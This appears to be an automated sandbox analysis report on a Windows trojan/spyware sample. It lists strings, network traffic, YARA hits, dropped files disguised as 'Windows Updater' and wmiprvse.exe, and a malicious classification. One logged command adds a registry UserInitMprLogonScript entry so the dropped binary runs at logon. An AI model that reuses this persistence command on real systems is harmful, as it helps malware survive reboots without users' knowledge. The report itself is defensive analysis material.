Source: 1922353491.exe, 00000024.00000002.3689806009.000000000590C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 1922353491.exe, 00000024.00000002.3689806009.000000000590C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: a1.exe, 00000015.00000003.2982206897.0000000003EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.netlock.hu/docs/
Source: a1.exe, 00000015.00000003.2984699434.0000000003F34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.netlock.net/docs
Source: ZmWSzgevgt.exe, 00000000.00000003.2032464225.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000003.2031907440.0000000002510000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000000.2034791135.0000000000401000.00000020.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.remobjects.com/ps
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.0000000004211000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.00000000041FD000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe
Source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, MSIDA82.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: https://www.thawte.com/cps0/
Source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, MSIDA82.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: https://www.thawte.com/repository0W
Source: a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m

Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50213
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50208
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824

Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.13.66:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.23.108.224:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.145.62:443 -> 192.168.2.5:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.109:443 -> 192.168.2.5:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.145.62:443 -> 192.168.2.5:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.192:443 -> 192.168.2.5:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.145.62:443 -> 192.168.2.5:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.145.62:443 -> 192.168.2.5:50208 version: TLS 1.2

Source: a3.exe, 00000021.00000002.3927984634.0000000003D48000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: _WINAPI_GETRAWINPUTDATA

memstr_0a5e41ca-d

Source: Yara match	File source: 15.2.wmiprvse.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wmiprvse.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wmiprvse.exe PID: 3160, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\9c66f20de619a94580bb93030dc1aea6.tmp, type: DROPPED

System Summary

Binary is likely a compiled AutoIt script file

Source: a3.exe, 00000021.00000002.3908840511.0000000000DE2000.00000002.00000001.01000000.00000022.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_810fc878-d
Source: a3.exe, 00000021.00000002.3908840511.0000000000DE2000.00000002.00000001.01000000.00000022.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_474b8b15-4

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Installer\413de7.msi

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI422D.tmp

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_1001BCE7	4_2_1001BCE7
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_10028081	4_2_10028081
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_1001B0D0	4_2_1001B0D0
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_1001D927	4_2_1001D927
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_100219D6	4_2_100219D6
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_1002227D	4_2_1002227D
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_10022AA9	4_2_10022AA9
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_10028B05	4_2_10028B05
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_100285C3	4_2_100285C3
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_10022689	4_2_10022689
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_10021EA9	4_2_10021EA9
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: 4_2_10029EC2	4_2_10029EC2
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B2F3C0	21_2_00B2F3C0
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C55320	21_2_00C55320
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C2FBF0	21_2_00C2FBF0
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00C4FE20	21_2_00C4FE20
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B380C0	21_2_00B380C0
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B3C200	21_2_00B3C200
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00CC43E1	21_2_00CC43E1
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00CCC779	21_2_00CCC779
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B3AAE0	21_2_00B3AAE0
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B38CD0	21_2_00B38CD0
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B32D70	21_2_00B32D70
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00BF6F50	21_2_00BF6F50
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B13010	21_2_00B13010
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00CB9190	21_2_00CB9190
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B73310	21_2_00B73310
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B494C0	21_2_00B494C0
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00B2D630	21_2_00B2D630
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: 21_2_00CC188A	21_2_00CC188A
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005A8770	30_2_005A8770
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005C4720	30_2_005C4720
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005CE860	30_2_005CE860
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005C4AC0	30_2_005C4AC0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005A13C0	30_2_005A13C0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005A95B0	30_2_005A95B0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005E3E60	30_2_005E3E60
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005822F0	30_2_005822F0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005F84EA	30_2_005F84EA
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005B64A0	30_2_005B64A0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_00582550	30_2_00582550
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005F0555	30_2_005F0555
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005FC640	30_2_005FC640
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_0057E820	30_2_0057E820
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005F08E3	30_2_005F08E3
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005CAC10	30_2_005CAC10
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005D4F50	30_2_005D4F50
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_00602F11	30_2_00602F11
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005C91A0	30_2_005C91A0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_006017CD	30_2_006017CD
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005897B0	30_2_005897B0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005958C0	30_2_005958C0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005FDBC9	30_2_005FDBC9
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_00607E60	30_2_00607E60
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_005F3E50	30_2_005F3E50
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00284720	32_2_00284720
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_0028E860	32_2_0028E860
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00284AC0	32_2_00284AC0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_0028AC10	32_2_0028AC10
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00294F50	32_2_00294F50
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002613C0	32_2_002613C0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002695B0	32_2_002695B0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002A3E60	32_2_002A3E60
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002422F0	32_2_002422F0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002764A0	32_2_002764A0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002B84EA	32_2_002B84EA
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00242550	32_2_00242550
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002B0555	32_2_002B0555
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002BC640	32_2_002BC640
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00268770	32_2_00268770
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_0023E820	32_2_0023E820
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002B08E3	32_2_002B08E3
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002C2F11	32_2_002C2F11
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002891A0	32_2_002891A0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002497B0	32_2_002497B0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002C17CD	32_2_002C17CD
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002558C0	32_2_002558C0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002BDBC9	32_2_002BDBC9
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002C7E60	32_2_002C7E60
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_002B3E50	32_2_002B3E50

Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: String function: 03EE43E6 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: String function: 00B17160 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: String function: 00B19990 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: String function: 00B1D8D0 appears 68 times
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: String function: 00B187D0 appears 210 times
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: String function: 00B19120 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Code function: String function: 00C135B0 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Code function: String function: 1001B074 appears 45 times
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: String function: 005E8122 appears 35 times
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: String function: 005E8BC0 appears 55 times
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: String function: 005732C0 appears 185 times
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: String function: 00573430 appears 200 times
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: String function: 005722B0 appears 157 times
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: String function: 00577990 appears 34 times
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: String function: 002332C0 appears 185 times
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: String function: 00233430 appears 200 times
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: String function: 00237990 appears 34 times
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: String function: 002A8122 appears 35 times
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: String function: 002322B0 appears 157 times
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: String function: 002A8BC0 appears 55 times

Source: ZmWSzgevgt.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-PFMO7.tmp.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: setup.tmp.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: a0.tmp.7.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-R280H.tmp.8.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: AdvancedWindowsManager.exe.22.dr

Static PE information: Number of sections : 11 > 10

Source: ZmWSzgevgt.exe, 00000000.00000003.2031907440.0000000002608000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs ZmWSzgevgt.exe
Source: ZmWSzgevgt.exe, 00000000.00000000.2029944932.00000000004C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs ZmWSzgevgt.exe
Source: ZmWSzgevgt.exe, 00000000.00000003.2032464225.000000007FE35000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs ZmWSzgevgt.exe
Source: ZmWSzgevgt.exe, 00000000.00000002.3908082848.0000000002218000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs ZmWSzgevgt.exe
Source: ZmWSzgevgt.exe	Binary or memory string: OriginalFileName vs ZmWSzgevgt.exe

Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Section loaded: lpk.dll
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Section loaded: davhlpr.dllole32.dll
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Section loaded: lpk.dll
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	Section loaded: lpk.dll
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	Section loaded: tsappcmp.dll

Source: ZmWSzgevgt.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe" /f

Source: classification engine

Classification label: mal92.troj.spyw.evad.winEXE@101/627@61/21

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

Code function: 21_2_00C19370 FormatMessageW,GetLastError,

21_2_00C19370

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

Code function: 21_2_00C43330 GetDiskFreeSpaceExW,

21_2_00C43330

Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe

